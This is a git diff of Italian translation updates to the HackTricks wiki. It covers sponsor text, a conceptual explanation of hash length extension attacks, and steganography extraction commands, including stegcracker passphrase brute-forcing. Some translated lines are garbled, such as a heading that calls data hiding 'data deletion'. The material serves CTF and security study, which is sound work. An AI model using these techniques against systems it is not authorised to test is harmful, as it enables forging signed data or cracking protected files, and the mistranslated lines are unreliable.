mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
0a3588d53f
commit
5e5030eace
86 changed files with 1178 additions and 2789 deletions
58
README.md
58
README.md
|
@ -2,10 +2,10 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_I loghi e il design in movimento di Hacktricks sono di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/qualcosa che ho imparato dai CTF, dalle app della vita reale, leggendo ricerche e notizie.**
|
||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/hacking che ho imparato da CTF, applicazioni della vita reale, lettura di ricerche e notizie.**
|
||||
{% endhint %}
|
||||
|
||||
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:**
|
||||
|
@ -32,7 +32,7 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** è la **#1 in Europa** per l'hacking etico e la **bug bounty platform.**
|
||||
**Intigriti** è la **piattaforma di hacking etico e bug bounty numero 1 in Europa.**
|
||||
|
||||
**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
|
|||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente i flussi di lavoro** alimentati dagli strumenti comunitari **più avanzati** al mondo.
|
||||
|
||||
Accedi oggi:
|
||||
|
||||
|
@ -71,7 +71,7 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
* **Approfondimenti sul hacking:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||
* **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||
* **Ultimi annunci:** Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
* **Ultimi annunci:** Rimani informato sulle nuove ricompense bug che vengono lanciate e sugli aggiornamenti cruciali della piattaforma
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||
|
||||
|
@ -81,60 +81,26 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Setup disponibile immediatamente per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per dare loro più tempo per approfondire, pop shell e divertirsi.
|
||||
**Setup disponibile istantaneamente per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per dare loro più tempo per approfondire, poppare shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi offre API veloci e facili in tempo reale per **accedere ai risultati dei motori di ricerca**. Scrapeano i motori di ricerca, gestiscono i proxy, risolvono i captcha e analizzano tutti i dati strutturati ricchi per te.
|
||||
|
||||
Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per lo scraping di diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
||||
A differenza di altri fornitori, **SerpApi non si limita a fare scraping dei risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
||||
|
||||
I clienti attuali di SerpApi includono **Apple, Shopify e GrubHub**.\
|
||||
Per ulteriori informazioni, dai un'occhiata al loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
|
||||
Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le aziende **in tutto il mondo** contro le ultime minacce informatiche fornendo **servizi di sicurezza offensiva** con un **approccio moderno**.
|
||||
[**WebSec**](https://websec.nl) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le aziende **in tutto il mondo** contro le ultime minacce alla cybersecurity fornendo **servizi di sicurezza offensiva** con un approccio **moderno**.
|
||||
|
||||
WebSec è un'**azienda di sicurezza all-in-one**, il che significa che fanno tutto; Pentesting, **Audit** di Sicurezza, Formazione sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
|
||||
|
||||
Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie capacità**, tanto da **garantire i migliori risultati di qualità**, come dichiarato sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al loro [**blog**](https://websec.nl/blog/)!
|
||||
Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie capacità**, tanto da **garantire i migliori risultati di qualità**, affermando sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al loro [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
In aggiunta a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** a:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
@ -150,8 +116,8 @@ Controllali in:
|
|||
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# Hash Length Extension Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Riepilogo dell'attacco
|
||||
|
||||
Immagina un server che sta **firmando** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se sai:
|
||||
Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se conosci:
|
||||
|
||||
* **La lunghezza del segreto** (questo può anche essere forzato a bruteforce da un dato intervallo di lunghezza)
|
||||
* **La lunghezza del segreto** (questo può essere anche forzato a bruteforce da un dato intervallo di lunghezza)
|
||||
* **I dati di testo chiaro**
|
||||
* **L'algoritmo (e è vulnerabile a questo attacco)**
|
||||
* **Il padding è noto**
|
||||
|
@ -47,7 +34,7 @@ Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare*
|
|||
Fondamentalmente, gli algoritmi vulnerabili generano gli hash prima **hashando un blocco di dati**, e poi, **dallo** **hash** (stato) **precedentemente** creato, **aggiungono il prossimo blocco di dati** e **lo hashano**.
|
||||
|
||||
Poi, immagina che il segreto sia "segreto" e i dati siano "dati", l'MD5 di "segreto dati" è 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Se un attaccante vuole aggiungere la stringa "append", può:
|
||||
Se un attaccante vuole aggiungere la stringa "append" può:
|
||||
|
||||
* Generare un MD5 di 64 "A"
|
||||
* Cambiare lo stato dell'hash precedentemente inizializzato a 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
|
@ -62,29 +49,19 @@ Se un attaccante vuole aggiungere la stringa "append", può:
|
|||
|
||||
Puoi trovare questo attacco ben spiegato in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,33 @@
|
|||
# Trucchi di Stego
|
||||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Estrarre Dati da File**
|
||||
## **Estrazione di Dati da File**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
Uno strumento per cercare file binari per file e dati nascosti incorporati. Viene installato tramite `apt` e la sua sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo codice sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Principale**
|
||||
### **Foremost**
|
||||
|
||||
Recupera file in base all'intestazione e al piè di pagina, utile per immagini png. Installato tramite `apt` con la sua sorgente su [GitHub](https://github.com/korczis/foremost).
|
||||
Recupera file basati sui loro header e footer, utile per le immagini png. Installato tramite `apt` con la sua sorgente su [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -47,7 +39,7 @@ exiftool file # Shows the metadata
|
|||
```
|
||||
### **Exiv2**
|
||||
|
||||
Simile ad exiftool, per la visualizzazione dei metadati. Installabile tramite `apt`, sorgente su [GitHub](https://github.com/Exiv2/exiv2), e ha un [sito web ufficiale](http://www.exiv2.org/).
|
||||
Simile a exiftool, per la visualizzazione dei metadati. Installabile tramite `apt`, sorgente su [GitHub](https://github.com/Exiv2/exiv2), e ha un [sito ufficiale](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
|
@ -57,7 +49,7 @@ Identifica il tipo di file con cui stai lavorando.
|
|||
|
||||
### **Strings**
|
||||
|
||||
Estrae stringhe leggibili dai file, utilizzando diverse impostazioni di codifica per filtrare l'output.
|
||||
Estrae stringhe leggibili dai file, utilizzando varie impostazioni di codifica per filtrare l'output.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -79,40 +71,40 @@ cmp original.jpg stego.jpg -b -l
|
|||
|
||||
### **Dati Nascosti negli Spazi**
|
||||
|
||||
I caratteri invisibili in spazi apparentemente vuoti possono nascondere informazioni. Per estrarre questi dati, visita [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
Caratteri invisibili in spazi apparentemente vuoti possono nascondere informazioni. Per estrarre questi dati, visita [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Estrazione di Dati dalle Immagini**
|
||||
|
||||
### **Identificare i Dettagli dell'Immagine con GraphicMagick**
|
||||
### **Identificazione dei Dettagli dell'Immagine con GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) serve per determinare i tipi di file immagine e identificare potenziali corruzioni. Esegui il comando seguente per ispezionare un'immagine:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) serve a determinare i tipi di file immagine e identificare potenziali corruzioni. Esegui il comando qui sotto per ispezionare un'immagine:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Per tentare di riparare un'immagine danneggiata, potrebbe essere utile aggiungere un commento di metadati:
|
||||
Per tentare di riparare un'immagine danneggiata, aggiungere un commento ai metadati potrebbe aiutare:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide per il Nascondimento dei Dati**
|
||||
### **Steghide per la Cancellazione dei Dati**
|
||||
|
||||
Steghide facilita il nascondimento dei dati all'interno dei file `JPEG, BMP, WAV e AU`, in grado di incorporare ed estrarre dati criptati. L'installazione è semplice utilizzando `apt`, e il [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide facilita la nascita di dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il suo [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Comandi:**
|
||||
|
||||
* `steghide info file` rivela se un file contiene dati nascosti.
|
||||
* `steghide extract -sf file [--passphrase password]` estrae i dati nascosti, password opzionale.
|
||||
* `steghide extract -sf file [--passphrase password]` estrae i dati nascosti, la password è facoltativa.
|
||||
|
||||
Per l'estrazione basata sul web, visita [questo sito web](https://futureboy.us/stegano/decinput.html).
|
||||
Per l'estrazione basata sul web, visita [questo sito](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Attacco di Forza Bruta con Stegcracker:**
|
||||
**Attacco Bruteforce con Stegcracker:**
|
||||
|
||||
* Per tentare il cracking della password su Steghide, utilizza [stegcracker](https://github.com/Paradoxis/StegCracker.git) nel seguente modo:
|
||||
* Per tentare di decifrare la password su Steghide, utilizza [stegcracker](https://github.com/Paradoxis/StegCracker.git) come segue:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg per file PNG e BMP**
|
||||
|
||||
zsteg si specializza nel rivelare dati nascosti nei file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con la sua [fonte su GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg si specializza nel rivelare dati nascosti in file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con il suo [sorgente su GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Comandi:**
|
||||
|
||||
|
@ -121,48 +113,50 @@ zsteg si specializza nel rivelare dati nascosti nei file PNG e BMP. L'installazi
|
|||
|
||||
### **StegoVeritas e Stegsolve**
|
||||
|
||||
**stegoVeritas** controlla i metadati, esegue trasformazioni dell'immagine e applica la forza bruta LSB tra le altre funzionalità. Utilizza `stegoveritas.py -h` per un elenco completo delle opzioni e `stegoveritas.py stego.jpg` per eseguire tutti i controlli.
|
||||
**stegoVeritas** controlla i metadati, esegue trasformazioni delle immagini e applica il brute forcing LSB tra le altre funzionalità. Usa `stegoveritas.py -h` per un elenco completo delle opzioni e `stegoveritas.py stego.jpg` per eseguire tutti i controlli.
|
||||
|
||||
**Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti nelle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti all'interno delle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT per il rilevamento di contenuti nascosti**
|
||||
### **FFT per la rilevazione di contenuti nascosti**
|
||||
|
||||
Le tecniche di Trasformata di Fourier Veloce (FFT) possono rivelare contenuti nascosti nelle immagini. Risorse utili includono:
|
||||
Le tecniche di Trasformata di Fourier Veloce (FFT) possono svelare contenuti nascosti nelle immagini. Risorse utili includono:
|
||||
|
||||
* [Demo EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic su GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy per file audio e immagine**
|
||||
### **Stegpy per file audio e immagini**
|
||||
|
||||
Stegpy consente di incorporare informazioni nei file audio e immagine, supportando formati come PNG, BMP, GIF, WebP e WAV. È disponibile su [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy consente di incorporare informazioni in file immagine e audio, supportando formati come PNG, BMP, GIF, WebP e WAV. È disponibile su [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck per l'analisi dei file PNG**
|
||||
|
||||
Per analizzare file PNG o per convalidarne l'autenticità, usa:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Strumenti aggiuntivi per l'analisi delle immagini**
|
||||
### **Strumenti Aggiuntivi per l'Analisi delle Immagini**
|
||||
|
||||
Per ulteriori esplorazioni, considera di visitare:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Analisi del livello di errore dell'immagine](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
